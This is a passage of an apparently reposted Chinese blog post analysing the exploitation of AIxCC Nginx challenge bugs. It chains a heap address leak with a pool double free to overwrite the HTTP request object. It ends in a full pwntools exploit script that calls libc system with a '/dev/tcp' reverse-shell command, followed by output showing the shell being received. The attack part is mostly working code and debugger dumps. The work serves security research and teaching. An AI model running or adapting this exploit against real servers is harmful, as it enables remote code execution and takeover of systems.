&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->key.data[h->key.len] =&nbsp;'\0';

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->value.len = r->header_end - r->header_start;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->value.data = r->header_start;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->value.data[h->value.len] =&nbsp;'\0';

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->lowcase_key = ngx_pnalloc(r->pool, h->key.len); &nbsp;// crash due to the corruption above

如何避免破坏 pool block 元数据?一旦处理到一行成功解析的 header,进程就会崩溃。因此我们必须避免处理有效 header,或者在处理任何 header 之前控制流程。我做了很多尝试,这里重点讲两个思路。

尝试 1: 使用 logger

我以为可以利用日志 handler 从 pool 分配缓冲区这一点,把部分可控内容写入 pool+0x20

[#0] 0x5a4dfc6ade3e → ngx_http_log_body_bytes_sent(r=0x711c2b220050, buf=0x711c2b220452 "", op=0x711c2b24df58)
[#1] 0x5a4dfc6acc32 → ngx_http_log_handler(r=0x711c2b220050)
[#2] 0x5a4dfc6a7e1a → ngx_http_log_request(r=0x711c2b220050)
[#3] 0x5a4dfc6a7c67 → ngx_http_free_request(r=0x711c2b220050, rc=0x0)
[#4] 0x5a4dfc6a7b24 → ngx_http_close_request(r=0x711c2b220050, rc=0x0)
[#5] 0x5a4dfc6a765e → ngx_http_lingering_close_handler(rev=0x711c2b2a0e80)
[#6] 0x5a4dfc681068 → ngx_event_expire_timers()
[#7] 0x5a4dfc67ec08 → ngx_process_events_and_timers(cycle=0x711c2b24a4d0)
[#8] 0x5a4dfc68cfc7 → ngx_worker_process_cycle(cycle=0x711c2b24a4d0, data=0x0)
[#9] 0x5a4dfc689a91 → ngx_spawn_process(cycle=0x711c2b24a4d0, proc=0x5a4dfc68cf0b <ngx_worker_process_cycle>, data=0x0, name=0x5a4dfc74d887 "worker process", respawn=0x0)
gef➤ &nbsp;tele 0x711c2b220000
0x0000711c2b220000│+0x0000: 0x0000711c2b220480 &nbsp;→ &nbsp;0x0000711c2b24a4d0 &nbsp;→ &nbsp;0x0000711c2b24b780 &nbsp;→ &nbsp;0x0000711c2b24c370 &nbsp;→ &nbsp;0x0000000000000001
0x0000711c2b220008│+0x0008: 0x0000711c2b221000 &nbsp;→ &nbsp;0x0000000000000009 ("\t"?)
0x0000711c2b220010│+0x0010: 0x0000711c2b220000 &nbsp;→ &nbsp;0x0000711c2b220480 &nbsp;→ &nbsp;0x0000711c2b24a4d0 &nbsp;→ &nbsp;0x0000711c2b24b780 &nbsp;→ &nbsp;0x0000711c2b24c370 &nbsp;→ &nbsp;0x0000000000000001
0x0000711c2b220018│+0x0018: 0x0000000000000000
0x0000711c2b220020│+0x0020: "127.0.0.1 - - [19/Feb/2025:19:18:21 +0000] "aGET /[...]"
0x0000711c2b220028│+0x0028: "1 - - [19/Feb/2025:19:18:21 +0000] "aGET /very/lon[...]"
0x0000711c2b220030│+0x0030: "9/Feb/2025:19:18:21 +0000] "aGET /very/long/path/t[...]"
0x0000711c2b220038│+0x0038: "25:19:18:21 +0000] "aGET /very/long/path/that/keep[...]"
0x0000711c2b220040│+0x0040: ":21 +0000] "aGET /very/long/path/that/keeps/going/[...]"
0x0000711c2b220048│+0x0048: "0] "aGET /very/long/path/that/keeps/going/on/and/o[...]"

但有个问题:我们无法写入 NULL 字节和不可打印字符。实际情况是,这些字符会被过滤。

gef➤ &nbsp;tele r->pool
0x00007b7aa7e20000│+0x0000: 0x00007b7aa7e2009d &nbsp;→ &nbsp;0x7555de17f0000061 ("a"?)
0x00007b7aa7e20008│+0x0008: 0x00007b7aa7e21000 &nbsp;→ &nbsp;0x0000000000000009 ("\t"?)
0x00007b7aa7e20010│+0x0010: 0x00007b7aa7e20000 &nbsp;→ &nbsp;0x00007b7aa7e2009d &nbsp;→ &nbsp;0x7555de17f0000061 ("a"?)
0x00007b7aa7e20018│+0x0018: 0x0000000000000000
0x00007b7aa7e20020│+0x0020: "127.0.0.1 - - [01/Mar/2025:16:29:13 +0000] "7\x13\[...]" &nbsp;← $rsi
0x00007b7aa7e20028│+0x0028: "1 - - [01/Mar/2025:16:29:13 +0000] "7\x13\x00\x00\[...]"
0x00007b7aa7e20030│+0x0030: "1/Mar/2025:16:29:13 +0000] "7\x13\x00\x00\x00\x00\[...]"
0x00007b7aa7e20038│+0x0038: 0x39323a36313a3532
0x00007b7aa7e20040│+0x0040: 0x3030302b2033313a
0x00007b7aa7e20048│+0x0048: 0x31785c3722205d30

这条路走不通。 🙁

尝试 2: 大 header buffer 分配

我们再分析一次。HTTP 请求由请求行和请求头组成。请求行首先在 ngx_http_process_request_line中解析处理。

如果请求行无效,Nginx 会以 NGX_HTTP_BAD_REQUEST结束请求,由于日志缓冲区与请求对象 r重叠而导致崩溃。

如果请求行有效,输入头列表 r->headers_in.headers会从请求 pool r->pool分配,随后在 ngx_http_process_request_headers中逐个处理头。分配输入头列表会让 pool 分配器再分配一个 pool block 来满足请求,而由于 double free,该 pool block 与 r->pool重叠。之后在 ngx_http_process_request_headers中,头部逐个解析处理。处理第一个有效头后,r->pool被破坏,因为紧接着 ngx_pnalloc被调用,worker 进程就会崩溃。那如果我们不发送任何有效 header 来避免崩溃呢?如果不发送任何 header,不会发生有用的事情:请求被结束,我们的输入在崩溃前不会与任何有用对象重叠。如果发送一个无效 header,请求会以 NGX_HTTP_BAD_REQUEST结束。

这看起来像死路。我注意到 Nginx 把输入读到大小为 0x400 的 buffer (client_header_buffer_size),但如果请求行或头超过这个限制,会分配一个大小为 large_client_header_buffers的大 buffer。我们能否分配一个与 r->pool重叠的大 buffer?

但大 buffer 默认是 8k……我们把这个 buffer 大小改成 4k,即设置 large_client_header_buffers 4 4096;,这完全合理 (参见示例配置:https://nginx.org/en/docs/example.html))。

利用策略变为:

  1. 为输入数据分配一个大 buffer (ngx_http_alloc_large_header_buffer),让其与 r->pool重叠。
  2. 写入限制更少的字符集来修复并控制 ngx_pool_t和/或 ngx_http_request_t的字段。

ngx_http_alloc_large_header_buffer在什么情况下会被调用?它可以在请求行处理和请求头处理期间被调用。如果我们选择在请求行处理中触发大 buffer 分配,因为请求行必须符合 ngx_http_parse_request_line才会触发分配,可写字符集太受限。

/* NGX_AGAIN: a request line parsing is still incomplete */

if&nbsp;(r->header_in->pos == r->header_in->end) {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rv =&nbsp;ngx_http_alloc_large_header_buffer(r,&nbsp;1);

// [...]

1661&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b =&nbsp;ngx_create_temp_buf(r->connection->pool,
1662&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cscf->large_client_header_buffers.size);&nbsp;// 0x2000 changed to 0x1000

如果我们不在请求行处理中触发大 buffer 分配,而是在 请求头处理期间触发呢?记住,处理完有效请求行后,headers 列表会从 pool 分配,导致新的 pool block 与 r->pool重叠。这是进入处理请求头代码路径所必须的。但这会导致 double free 指针指向该 pool block,而不是大 buffer。为了解决这个问题,我想到可以再触发一次 double free bug ;D。

记住,如果我们不在请求行处理中触发大分配且哪怕有一个有效 header,应用都会崩溃。因此我们必须 在请求头处理期间触发大分配且不能有任何有效 header

我们又回到了之前的问题:小 buffer 中已解析的 header 必须语法有效,才能继续为剩余 header 分配更大的 buffer。这看起来又是死路。

如果我们让 (r->header_in->pos == r->header_in->end)条件成立,使用一个恰好填满小 buffer 的请求行,这样在验证 header 之前就触发大 buffer 分配呢?

if&nbsp;(rc == NGX_AGAIN) {

if&nbsp;(r->header_in->pos == r->header_in->end) {&nbsp;// make this condition true before reaching `NGX_HTTP_PARSE_INVALID_HEADER`

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rv =&nbsp;ngx_http_alloc_large_header_buffer(r,&nbsp;0);

if&nbsp;(rv == NGX_ERROR) {
ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

if&nbsp;(rv == NGX_DECLINED) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = r->header_name_start;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r->lingering_close =&nbsp;1;

if&nbsp;(p ==&nbsp;NULL) {
ngx_log_error(NGX_LOG_INFO, c->log,&nbsp;0,
"client sent too large request");
ngx_http_finalize_request(r,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NGX_HTTP_REQUEST_HEADER_TOO_LARGE);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = r->header_in->end - p;

if&nbsp;(len > NGX_MAX_ERROR_STR -&nbsp;300) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = NGX_MAX_ERROR_STR -&nbsp;300;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

ngx_log_error(NGX_LOG_INFO, c->log,&nbsp;0,
"client sent too long header line:&nbsp;\"%*s...\"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len, r->header_name_start);

ngx_http_finalize_request(r,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NGX_HTTP_REQUEST_HEADER_TOO_LARGE);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n =&nbsp;ngx_http_read_request_header(r);

if&nbsp;(n == NGX_AGAIN || n == NGX_ERROR) {
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

/* the host header could change the server configuration context */
&nbsp; &nbsp; &nbsp; &nbsp; cscf = ngx_http_get_module_srv_conf(r, ngx_http_core_module);

&nbsp; &nbsp; &nbsp; &nbsp; rc = ngx_http_parse_header_line(r, r->header_in,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cscf->underscores_in_headers);

// [...]
/* rc == NGX_HTTP_PARSE_INVALID_HEADER */

ngx_log_error(NGX_LOG_INFO, c->log,&nbsp;0,
"client sent invalid header line:&nbsp;\"%*s\\x%02xd...\"",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r->header_end - r->header_name_start,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r->header_name_start, *r->header_end);

ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST);
break;

另一个问题:客户端 headers buffer 中读取的旧内容会被拷贝到大 buffer,其中包含有效的请求行 (我们不希望这些 ASCII 字母破坏 pool 与请求对象)。在 ngx_http_alloc_large_header_buffer中 r->state == 0的情况下不会发生拷贝。r->state由解析函数设置:如果 Nginx 在解析某个字段 (如 header 行) 时中途耗尽字节,则状态会被保留,至少未完整解析的数据必须被拷贝到新的更大 buffer。

if&nbsp;(r->state ==&nbsp;0) {
/*
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* r->state == 0 means that a header line was parsed successfully
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* and we do not need to copy incomplete header line and
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* to relocate the parser header pointers
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/

&nbsp; &nbsp; &nbsp; &nbsp; r->header_in = b;

return&nbsp;NGX_OK;&nbsp;// this way we can avoid copying useless data to the big buffer
&nbsp; &nbsp; }

结果是我们可以控制与 pool 重叠的 0x1000 字节,因此间接控制了在该 pool 中分配的请求对象。

gef➤ &nbsp;tele pool
0x00007abeb6e20000│+0x0000: 0x0000000000001337 &nbsp;← $rdi
0x00007abeb6e20008│+0x0008: 0x0000000000001338
0x00007abeb6e20010│+0x0010: "nice!\r\n\r\n"
0x00007abeb6e20018│+0x0018: 0x000000000000000a ("\n"?)
0x00007abeb6e20020│+0x0020: 0x0000000000000fb0
0x00007abeb6e20028│+0x0028: 0x00007abeb6e20000 &nbsp;→ &nbsp;0x0000000000001337
0x00007abeb6e20030│+0x0030: 0x0000000000000000
0x00007abeb6e20038│+0x0038: 0x0000000000000000
0x00007abeb6e20040│+0x0040: 0x0000000000000000
0x00007abeb6e20048│+0x0048: 0x00007abeb6e1e060 &nbsp;→ &nbsp;0x0000000000000004
gef➤
0x00007abeb6e20050│+0x0050: 0x0000000000000000
0x00007abeb6e20058│+0x0058: 0x0000000000000001
0x00007abeb6e20060│+0x0060: 0x0000000000000000
0x00007abeb6e20068│+0x0068: 0x0000000050545448 ("HTTP"?)
0x00007abeb6e20070│+0x0070: 0x00007abeb6e7f600 &nbsp;→ &nbsp;0x00007abeb6e20050 &nbsp;→ &nbsp;0x0000000000000000
0x00007abeb6e20078│+0x0078: 0x00007abeb6e20b20 &nbsp;→ &nbsp;0x0000000000000000
0x00007abeb6e20080│+0x0080: 0x00007abeb6e4dc88 &nbsp;→ &nbsp;0x00007abeb6e4e0d8 &nbsp;→ &nbsp;0x00007abeb6e4e378 &nbsp;→ &nbsp;0x00007abeb6e60470 &nbsp;→ &nbsp;0x00007abeb6e4fe38 &nbsp;→ &nbsp;0x0000000000000000
0x00007abeb6e20088│+0x0088: 0x00007abeb6e60190 &nbsp;→ &nbsp;0x00007abeb6e60470 &nbsp;→ &nbsp;0x00007abeb6e4fe38 &nbsp;→ &nbsp;0x0000000000000000
0x00007abeb6e20090│+0x0090: 0x00007abeb6e60300 &nbsp;→ &nbsp;0x00007abeb6e60518 &nbsp;→ &nbsp;0x0000000000000000
0x00007abeb6e20098│+0x0098: 0x00005c095e67275a &nbsp;→ &nbsp;<ngx_http_block_reading+0000> endbr64
gef➤ &nbsp;p *pool
$4 = {
&nbsp; d = {
&nbsp; &nbsp; last = 0x1337 <error: Cannot access memory at address 0x1337>,
&nbsp; &nbsp; end = 0x1338 <error: Cannot access memory at address 0x1338>,
&nbsp; &nbsp; next = 0xd0a0d216563696e,
&nbsp; &nbsp; failed = 0xa
&nbsp; },
&nbsp; max = 0xfb0,
&nbsp; current = 0x7abeb6e20000,
&nbsp; chain = 0x0,
&nbsp; large = 0x0,
&nbsp; cleanup = 0x0,
&nbsp; log = 0x7abeb6e1e060
}

为了劫持控制流,我们应该写入什么?我们注入的内容不能是有效 header,因此 Nginx 会通过 ngx_http_finalize_request结束请求。我注意到在 (被控制的) r中有一个函数指针会被调用。利用必须修复在调用该 handler 前会被访问的所有损坏指针。

if&nbsp;(r != r->main && r->post_subrequest) {
&nbsp; &nbsp; &nbsp; &nbsp; rc = r->post_subrequest->handler(r, r->post_subrequest->data, rc); &nbsp;// XXXR3: inject here
&nbsp; &nbsp; }

我们注入 libc 中 system的地址和一个反弹 shell 字符串的指针,该字符串写入到被破坏的 pool 中。system('/bin/sh\x00')会立即返回,因为 Nginx 已关闭 stdin

如何泄露 heap 和 libc 的地址?我观察到崩溃 worker 进程不会重新随机化 heap 和 libc 地址,因此理论上可以暴力猜测。比起暴力,我意识到如果使用 O3编译,有时可以利用同一漏洞泄露 vulnerable pool 中某个 pool 分配对象的地址,但这不可靠。另一个想法是把 CPV11 链起来,先对易受影响的 pool 地址做出较好的猜测,然后再猜 libc。

更稳定的利用

CPV11 泄露的地址指向堆地址。基于它可以猜到 heap base (例如 0x000075feb7000000)、pool 地址和 libc 地址。我通过多次重启 Nginx 测试偏移 (会随机化地址)。不过在实际中,考虑到崩溃 worker 进程不会重新随机化,且我们已有堆泄露,我们也可以更聪明地暴力这些地址。

0x000075feb7000000 0x000075feb7800000 0x0000000000800000 rw-
0x000075feb7800000 0x000075feb789d000 0x000000000009d000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33
0x000075feb789d000 0x000075feb79e5000 0x0000000000148000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33
0x000075feb79e5000 0x000075feb7a6c000 0x0000000000087000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33
0x000075feb7a6c000 0x000075feb7a77000 0x000000000000b000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33
0x000075feb7a77000 0x000075feb7a7a000 0x0000000000003000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33
0x000075feb7a7a000 0x000075feb7a7e000 0x0000000000004000 rw-
0x000075feb7b17000 0x000075feb7b27000 0x0000000000010000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x000075feb7b27000 0x000075feb7ba6000 0x000000000007f000 r-x /usr/lib/x86_64-linux-gnu/libm.so.6
0x000075feb7ba6000 0x000075feb7bfe000 0x0000000000058000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x000075feb7bfe000 0x000075feb7bff000 0x0000000000001000 r-- /usr/lib/x86_64-linux-gnu/libm.so.6
0x000075feb7bff000 0x000075feb7c00000 0x0000000000001000 rw- /usr/lib/x86_64-linux-gnu/libm.so.6
0x000075feb7c00000 0x000075feb7c28000 0x0000000000028000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000075feb7c28000 0x000075feb7db0000 0x0000000000188000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x000075feb7db0000 0x000075feb7dff000 0x000000000004f000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000075feb7dff000 0x000075feb7e03000 0x0000000000004000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000075feb7e03000 0x000075feb7e05000 0x0000000000002000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6

使用如下配置文件 (从 Nginx AIxCC 简化):

remote_admin off;

events {
}

mail {
&nbsp; &nbsp; auth_http http://127.0.0.1:1025;
&nbsp; &nbsp; xclient off;
&nbsp; &nbsp; timeout 3600s;
&nbsp; &nbsp; server {
&nbsp; &nbsp; &nbsp; &nbsp; listen 2525;
&nbsp; &nbsp; &nbsp; &nbsp; protocol smtp;
&nbsp; &nbsp; &nbsp; &nbsp; smtp_auth none;
&nbsp; &nbsp; }
}

http {
&nbsp; &nbsp; large_client_header_buffers 4 4096;
&nbsp; &nbsp; server {
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; 127.0.0.1:8080;
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;localhost;

&nbsp; &nbsp; &nbsp; &nbsp; location /host_specs {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 200 "Host Specifications:\n$host_specs";
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

在 Ubuntu 24.04 中测试的完整利用如下:

import&nbsp;socket
from&nbsp;pwn&nbsp;import*

libc&nbsp;=&nbsp;ELF('/usr/lib/x86_64-linux-gnu/libc.so.6',&nbsp;checksec=False)
host&nbsp;='127.0.0.1'
leak_vuln_trigger&nbsp;=b'GET /host_specs HTTP/1.1\r\nHost: localhost\r\nConnection: Close\r\n\r\n'
vuln_trigger&nbsp;=b'NOOP f f f f f f f f f f f\r\n'

deftcp_conn(host,&nbsp;port):
&nbsp; &nbsp; s&nbsp;=&nbsp;socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; s.connect( (host, port) )
return&nbsp;s

defread_data(s):
return&nbsp;s.makefile(mode='rb').read()

# 1. Leak using CPV11
s&nbsp;=&nbsp;tcp_conn(host,&nbsp;8080)
payload&nbsp;=b'GET /host_specs HTTP/1.1'+b'\r\n'
payload&nbsp;+=b'Host: localhost'+b'\r\n'
payload&nbsp;+=b'Connection: Close'+b'\r\n'
payload&nbsp;+=b'Black-List: 111.111.111.111;222.222.222.222;333.333.333.333;'+b'\r\n'
payload&nbsp;+=b'\r\n'
s.send(payload)
s.send(leak_vuln_trigger)
response1&nbsp;=&nbsp;read_data(s)
# print(response1)
leak&nbsp;=&nbsp;u64(response1.split(b'111.111.111.111')[1][0:6]&nbsp;+b'\0\0')
log.info(f'Leaked address = {hex(leak)}')
page_base&nbsp;=&nbsp;leak&nbsp;-0x41d0a0
log.info(f'Page base = {hex(page_base)}')

# guess (we can change it to brute force wisely)
heap_address&nbsp;=&nbsp;page_base&nbsp;+0x423000
libc.address&nbsp;=&nbsp;page_base&nbsp;+0xc00000
log.info(f'Pool address = {hex(heap_address)}')
log.info(f'LIBC address = {hex(libc.address)}')

# 2. Trigger the CPV17 vuln twice
s&nbsp;=&nbsp;tcp_conn(host,&nbsp;2525)
s.send(vuln_trigger)

s.close()
s&nbsp;=&nbsp;tcp_conn(host,&nbsp;2525)
s.send(vuln_trigger)

s.close()

log.info('Execute: nc -lvnp 4444')

pause()

# 3. Overwrite a part of the pool object and the HTTP request object
s&nbsp;=&nbsp;tcp_conn(host,&nbsp;8080)
request_line_base_len&nbsp;=len(b'GET / HTTP/1.1\r\n')
request_line&nbsp;=b'GET /'+b'A'*&nbsp;(0x400&nbsp;-&nbsp;request_line_base_len)&nbsp;+b' HTTP/1.1\r\n'
# +0x88 : srv_conf
# +0xc8 : header_in
# +0x470 : post_subrequest
payload&nbsp;=b'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"\0'
request_headers&nbsp;=b''.join((
&nbsp; &nbsp; p64(0x1337)&nbsp;*&nbsp;((0x50)&nbsp;//8),
&nbsp; &nbsp; payload,
b'A'*&nbsp;(0x88&nbsp;-0x50&nbsp;-len(payload)),
&nbsp; &nbsp; p64(heap_address&nbsp;+0x88),&nbsp;# srv_conf (whatever pointed X if X+0x90 is a valid address)
b'B'*&nbsp;(0xc8&nbsp;-0x88&nbsp;-0x8),
&nbsp; &nbsp; p64(heap_address&nbsp;+0xc8),&nbsp;# headers_in.pos (whatever, eg. itself)
&nbsp; &nbsp; p64(heap_address&nbsp;+0xd0),&nbsp;# headers_in.last (greater than .pos)
&nbsp; &nbsp; p64(0x1338)&nbsp;*&nbsp;((0x470&nbsp;-0xc8&nbsp;-0x10)&nbsp;//8),
&nbsp; &nbsp; p64(heap_address&nbsp;+0x470&nbsp;+0x8),&nbsp;# fake post_subrequest
&nbsp; &nbsp; p64(libc.sym['system']),
&nbsp; &nbsp; p64(0x1337),
))
payload&nbsp;=&nbsp;request_line&nbsp;+&nbsp;request_headers&nbsp;+b'\r\n\r\n'
s.send(payload)
response2&nbsp;=&nbsp;read_data(s)
print(response2)

s.close()
$ python exploit_chain.py
[*] Leaked address = 0x7574e1a1d0a0
[*] Page base = 0x7574e1600000
[*] Pool address = 0x7574e1a23000
[*] LIBC address = 0x7574e2200000
[*] Execute: nc -lvnp 4444
[*] Paused (press any to continue)
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 41906
bash: cannot set terminal process group (136506): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

roundofthree@ubuntu:/tmp/cores$

一些关于 Nginx UAF 漏洞可利用性的评论

首先,大多数对象和缓冲区都由 pool 分配器分配 (ngx_palloc调用)。因此很难找到来自系统分配器、尺寸合适的 heap gadgets (使用 ngx_alloc)。

其次,pool 分配的对象不会被释放回 pool。它们在关联的 pool block 被释放时才释放,也就是 pool 被销毁时。由于对象是 pool block 的切片,因此同尺寸 chunk 重叠的利用技术在这里不适用:分配粒度是 pool 大小。如果想让一个对象的悬空指针与另一个对象重叠,需要:1) 让悬空指针所在线程的 pool block 与目标对象的 pool block 重叠,2) 漏洞对象与目标对象必须在相同的 pool 偏移处。

相比破坏 pool 中分配的对象,CPV17 的利用依赖于破坏 pool 本身,从而破坏 ngx_http_request_t以实现 RCE。

致谢

感谢 Prof Robert N. M. Watson 提供建议和想法,并给我机会参与 CHERI (虽然本文与 CHERI 无关,但它来源于一个 CHERI 相关项目)。

感谢 HackerChai,在漏洞方面的多次交流、审阅草稿并帮助我在该领域取得进展。


Exploitation of AIxCC Nginx bugs: Part I

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment RoundofThree RoundofThree《AIxCC Nginx 漏洞利用分析(上)》

评论:0   参与:  0